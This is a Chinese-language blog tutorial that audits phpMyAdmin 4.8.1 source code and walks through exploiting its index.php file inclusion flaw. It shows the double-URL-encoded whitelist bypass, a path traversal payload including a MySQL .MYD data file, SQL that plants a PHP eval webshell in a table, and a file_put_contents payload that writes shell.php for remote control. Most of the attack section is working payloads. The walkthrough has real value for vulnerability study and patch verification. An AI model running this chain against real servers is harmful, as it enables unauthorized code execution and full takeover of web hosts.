前期准备

以下示例来源于phpMyAdmin-4.8.1版本,版本下载地址:

https://x1ong.lanzoue.com/iziIc0jtg20h

代码审计工具:Seay源代码审计系统

https://gitee.com/p1stol/cnseay.git

审计

首先打开seay源代码审计系统中新建一个项目,具体文件夹选择下载的phpmyadmin,接着在菜单栏中选择全局搜索,搜索文件包含关键字include,出现如下结果:

image-20230101103528402

在出现的结果中,前几个所包含的文件较为固定,因此不考虑,在结果集中发现index.php文件中使用include语句引入了由$_REQUEST传入的target参数

image-20230101103655605

我们双击该代码,来到具体的代码文件中,发现如果想要让程序执行到包含文件的代码,则必须满足这几个条件:

image-20230101104337717

条件1:首先要满足target参数的值不为空

1
! empty($_REQUEST['target'])

条件2:其次要满足target的值是一个字符串

1
is_string($_REQUEST['target'])

条件3:target参数的值不能以index开头

1
! preg_match('/^index/', $_REQUEST['target'])

条件四:target参数的值不能在$target_blacklist变量所定义的黑名单数组中

1
! in_array($_REQUEST['target'], $target_blacklist)

为了查看$target_blacklist变量所定义的黑名单列表,我们将其选中,然后右键选择全文追踪

image-20230101105005261

发现$target_blacklist所定义的数组中就两个元素一个是import.phpexport.php

image-20230101105107035

条件五:

这里调用了Core类中的checkPageValidity()方法,并将我们参数target传入

1
Core::checkPageValidity($_REQUEST['target'])

首先我们先定位到该函数是如何进行定义的:

选中该函数名称,右键选择全局搜索

image-20230101105633400

最终在Core.php中发现了该方法的定义。

image-20230101105701521

我们双击该内容,来到具体的定义文件当中进行查看,方法具体定义如下:

image-20230101105948909

首先来看定义方法时传入的形参:

image-20230101110051248

在函数定义的时候有两个形参,分别是$page和一个$whitelist数组,该数组默认值为空数组。

那么该函数在调用的时候,只传入了一个实参,因此该参数是$page变量,而$whitelist则采用的是默认值空列表。

image-20230101110158945

接着我们继续来看方法内的第一个if语句:

image-20230101110324227

如果$whitelist变量为空,则为$whitelist变量重新赋值为self::$goto_whitelist属性。我们选中该属性进行全局搜索

image-20230101110452488

双击进入到该属性的定义处:

image-20230101110508484

发现$goto_whitelist的结果是一个数字,那么此时$whitelist就为该数组。

image-20230101110539402

接下来来看第二个if语句:

这里只是对$page变量的值进行了检查,如果没有设置或者不是字符串则直接retrun false,这个不重要

image-20230101110640698

继续来看第三个if语句:

如果$page的值在$whitelist定义的白名单当中,则返回true

image-20230101110803005

那么截止目前,只能包含白名单中的文件名:

image-20230101110855001

继续往下看第四个if语句:

这里重新对变量$page重新赋值之后再进行白名单的检查。

image-20230101110938590

首先先了解一下mb_substr()函数的使用:

image-20230101111127230

函数的用法非常简单,就是一个中文的字符串截取函数,mb_substr(要截取的字符串,从哪开始,截取的长度)

image-20230101111226244

经过整理之后,这句代码的意思是截取$page变量的值,从0开始截取,截取的长度是mb_strpos()函数的返回值。

接着我们来看mb_strpos()函数的作用:

image-20230101111350981

该函数的参数为mb_strpos(要被检查的字符串,查找的字符串),该函数的返回值为查找的字符串在被检查的字符串中首次出现的位置。

也就是说,当$page的值为index.php?cmd=test的时候,经过这俩函数处理只是,得到的结果为index.php

接着对$page传入的值进行处理之后,又进行了白名单的检查。

那么截止目前,仍然是无法被突破的。

接下来来看最后一个if判断:

首先使用urldecode()函数对$page进行URL解码之后再赋值给自身。其他跟上一个if一致。

image-20230101112611437

但是服务器在接收到GET请求传入的值时,会自动的进行一次URL解码,例如:

image-20230101112855444

如果我们为$page参数传入db_sql.php%253fabcdefg/../cmd.php 经过GET的一次url解码和urldecode()函数的一次编码,共两次,解码之后就为db_sql.php?abcdefg/../cmd.php,接着又经过mb_substr()函数的截取,此时$_page的值就为db_sql.php,那么此时db_sql.php在白名单当中,因此返回true

所有的条件都成立之后,此时target参数的值就为:db_sql.php%3fabcdefg/../cmd.php

而PHP程序会认为db_sql.php%3fabcdefg/../是一个路径,进入到db_sql.php%3fabcdefg目录,接着又使用../退出,因此还是在当前路径。

最终带入include语句中进行包含:

image-20230101115059089

以下两种写法有这等同的效果:

image-20230101115437437

getshell

现在已经构造出文件包含的payload,但是并无包含的文件。因此我们需要构造一个可以被我们利用的文件:

首先,我们先看下数据库的存储结构,我们先创建一个名为x1ong的库,该库下有一张users表。字段任意,且存在一段内容:

image-20230101142451133

执行如下sql语句获取mysql存储数据的目录:

image-20230101142551177

进入到该目录下,发现跟库名完全一致的文件夹:

image-20230101142653421

进入到该文件夹后,发现跟表名名称一样的文件,其中在user.MYD文件中发现了数据表的内容,因此可以判定,表名.MYD里面存储的就是表的内容。

image-20230101142834117

知道数据库的存储结构之后,我们来到phpmyadmin中创建库名和表名以及插入数据:

1
2
3
4
5
CREATE DATABASE hacker;

CREATE TABLE hacker.users (content varchar(100));

INSERT INTO users values ('<?php @eval($_REQUEST[cmd]);?>');

image-20230101143305084

我们通过select @@datadir获取到数据库将数据存储在服务器的具体位置:

image-20230101143419043

由于我们创建的库名为hacker表名为users,因此构造出来的路径为C:\phpStudy2\MySQL\data\hacker\users.MYD

通过前面得到的文件包含漏洞构造如下payload:

1
?target=db_sql.php%253fabcdefg/../../../../../../../phpStudy2\MySQL\data\hacker\users.MYD

image-20230101143653580

成功执行,但是无法通过中国蚁剑进行连接:

image-20230101143834806

原因我想大家都很清楚,木马的路径必须是管理员登录之后才可以访问的,因此我们利用该文件包含漏洞生成一个小马,构造如下payload:

1
?target=db_sql.php%253fabcdefg/../../../../../../../phpStudy2\MySQL\data\hacker\users.MYD&cmd=file_put_contents('shell.php','<?php @eval($_POST[cmd]);?>');

此时会在当前目录下生成shell.php木马文件,直接使用蚁剑进行连接即可:

image-20230101145510273